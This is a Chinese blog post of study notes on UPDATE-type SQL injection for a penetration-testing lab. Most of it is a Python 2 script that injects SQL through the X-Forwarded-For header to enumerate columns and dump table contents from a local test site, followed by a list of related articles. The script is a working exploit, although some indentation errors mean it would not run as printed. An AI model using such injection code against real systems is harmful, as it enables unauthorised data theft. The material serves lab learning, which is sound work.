渗透测试之Update型注入学习笔记

简介: 版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396413 ...
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396413

参考实验:http://www.hetianlab.com/expc.do?ce=572fa9e9-7eb1-4928-bfe3-eaa444eab1e0

sqlupdateattack.py

   #!/usr/bin/python

    # -*- coding: utf-8 -*-

    import HTMLParser 

    import urlparse 

    import urllib 

    import urllib2 

    import cookielib 

    import string 

    import binascii

    import re

    import time

    #截取字符串中startStr,endStr中间的值

    def GetMiddleStr(content,startStr,endStr):

        patternStr = r'%s(.+?)%s'%(startStr,endStr)

        p = re.compile(patternStr,re.S)

        m= re.search(p,content)

        if m:

            return m.group(1)

    #跑表数量

    def count(table_name,mode):

        if mode==0:

            tn16=binascii.b2a_hex(table_name.encode("utf8"))

            sql_count='1.1.1.1\',email=(select count(COLUMN_NAME) from information_schema.columns where table_name=0x'+tn16+' and table_schema=database()) where username=\'admin\'#'

        else:

            if table_name=='testuser':

                sql_count='1.1.1.1\',email=(select count(*) from ( select * from testuser) as x) where username=\'admin\'#'

            else:

                sql_count='1.1.1.1\',email=(select count(*) from '+table_name+') where username=\'admin\'#'

        return sql_count

    #跑表的列名用到的sql注入语句

    def sql_column(table_name,num):

        tn16=binascii.b2a_hex(table_name.encode("utf8")) 

        sql_column='1.1.1.1\',email=(select COLUMN_NAME from information_schema.columns where table_name=0x'+tn16+' limit '+str(num)+',1 ) where username=\'admin\'#'

        return sql_column

    #跑表的内容

    def sql_data(table_name,column,num):

        sql_data='1.1.1.1\',email=(select '+column+' from '+table_name+' order by id  limit '+str(num)+',1) where username=\'admin\'#'   

        return sql_data

    #跑表的内容(与update所用表(即演示中的testuser表)冲突使用)

    def sql_users(column,num):

        sql_users='1.1.1.1\',email=(select '+column+' from ( select * from testuser) as x order by ID limit '+str(num)+',1) where username=\'admin\'#'

        return sql_users

    #注入,先模拟登陆后截取结果并写入文件   

    def inject(posturl,sql):

        try:

            cookieJar=cookielib.CookieJar()

            opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))

            headers =  {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04', 

                        'X-Forwarded-For' : sql} 

            postData = {'uname' : 'admin', 

                        'passwd' : 'admin', 

                        'submit' : 'Submit' } 

            postData = urllib.urlencode(postData) 

            request = urllib2.Request(posturl, postData, headers) 

            result = opener.open(request)

            str=result.read()

            m=GetMiddleStr(str,'your email is:','</font><br>')

            return m

        except Exception,err:

            err = 'weberror'

            raise Exception(err)

    if __name__ == '__main__': 

        posturl = 'http://127.0.0.1/test/index.php'

    table_name=['testuser', 'test1']

    #先跑表的各字段名,并存放到临时的column_name中   

        column_name=[]

        for table in table_name:

            sql_count=inject(posturl,count(table,0))

           print table+":\r\n"

           for num in range(int(sql_count)):

                sql=sql_column(table,num)

                try:

                    m=inject(posturl,sql)

                    column_name.append(m)

                except TypeError:

                    print 'error'  

            print column_name

    #跑对应的数据   

            for column in column_name:

                print table+"|||"+column+":"

                for num in range(int(inject(posturl,count(table,1)))):

                    if table=='testuser':

                        sql=sql_users(column,num)

                    else:

                        sql=sql_data(table,column,num)

                    m=inject(posturl,sql)

                    print m

            print "\n"  
相关文章
|
1月前
|
测试技术
自动化测试项目学习笔记(五):Pytest结合allure生成测试报告以及重构项目
本文介绍了如何使用Pytest和Allure生成自动化测试报告。通过安装allure-pytest和配置环境,可以生成包含用例描述、步骤、等级等详细信息的美观报告。文章还提供了代码示例和运行指南,以及重构项目时的注意事项。
182 1
自动化测试项目学习笔记(五):Pytest结合allure生成测试报告以及重构项目
|
26天前
|
Java 程序员 测试技术
Java|让 JUnit4 测试类自动注入 logger 和被测 Service
本文介绍如何通过自定义 IDEA 的 JUnit4 Test Class 模板,实现生成测试类时自动注入 logger 和被测 Service。
22 5
|
1月前
|
测试技术 Python
自动化测试项目学习笔记(四):Pytest介绍和使用
本文是关于自动化测试框架Pytest的介绍和使用。Pytest是一个功能丰富的Python测试工具,支持参数化、多种测试类型,并拥有众多第三方插件。文章讲解了Pytest的编写规则、命令行参数、执行测试、参数化处理以及如何使用fixture实现测试用例间的调用。此外,还提供了pytest.ini配置文件示例。
27 2
|
1月前
|
测试技术 Python
自动化测试项目学习笔记(二):学习各种setup、tearDown、断言方法
本文主要介绍了自动化测试中setup、teardown、断言方法的使用,以及unittest框架中setUp、tearDown、setUpClass和tearDownClass的区别和应用。
63 0
自动化测试项目学习笔记(二):学习各种setup、tearDown、断言方法
|
1月前
|
监控 安全 Linux
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)
|
1月前
|
安全 Unix Linux
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)
|
4月前
|
Java 测试技术 API
详解单元测试问题之Mockito的注入过程如何解决
详解单元测试问题之Mockito的注入过程如何解决
98 1
|
4月前
|
测试技术
详解单元测试问题之@InjectMocks注入mock对象如何解决
详解单元测试问题之@InjectMocks注入mock对象如何解决
197 1
|
3月前
|
安全 数据库连接 数据库
可靠性测试-故障注入工具
【7月更文挑战第19天】可靠性测试中的故障注入工具对评估系统容错性与稳定性至关重要。常见工具如 **FaultInjector** (模拟多类故障)、**Xception** (针对特定组件注入错误) 和 **Chaos Monkey** (验证云环境下系统弹性) 帮助开发者提前发现潜在问题, 优化系统设计, 如电商公司通过测试确保促销期稳定, 金融机构降低交易风险。选择合适工具并结合业务场景测试对提升可靠性至关重要。
134 0
|
4月前
|
SQL 安全 关系型数据库
使用SQLMap进行SQL注入测试
使用SQLMap进行SQL注入测试

热门文章

最新文章

下一篇
无影云桌面